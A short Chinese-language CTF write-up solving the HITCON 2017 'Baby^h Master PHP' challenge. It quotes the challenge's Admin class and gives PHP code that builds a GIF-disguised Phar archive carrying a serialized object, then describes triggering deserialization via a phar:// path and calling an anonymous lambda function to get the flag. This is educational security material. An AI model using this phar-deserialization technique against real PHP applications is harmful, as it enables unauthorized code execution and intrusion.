CTF Web安全

[HITCON 2017]Baby^h Master PHP(Phar反序列化+匿名函数)

Posted on 2020-03-25,2 min read

题目给出了源码。有两个功能。一个是upload。一个是show
upload呢。是输入一个URL。然后会访问URL/avatar.gif然后保存到本地
show呢。是读取这个gif文件。

在Admin类中。我们发现一个__destruct()函数。会定义匿名函数。输出flag

class Admin extends User {
    function __destruct() {
        $random = bin2hex(openssl_random_pseudo_bytes(32));
        eval("function my_function_$random() {"
            . "  global \$FLAG; \$FLAG();"
            . "}");
        $_GET["lucky"]();
    }
}

思路就有了。构造Phar包。upload上传。由于upload是用file_get_contents来获取的。支持伪协议。那么直接构造phar:///phar路径。触发反序列化。然后爆破匿名函数名
首先构造phar包。

class Admin{
	public $avatar='abc';
}
$b=new Admin();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($b); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

开个小号。运行linux靶机。scp传上去
访问URL。下载到本地。

phar触发反序列化。lucky输出%00lambda_1得到flag

下一篇: [HBCTF2017]大美西安(sql注入)→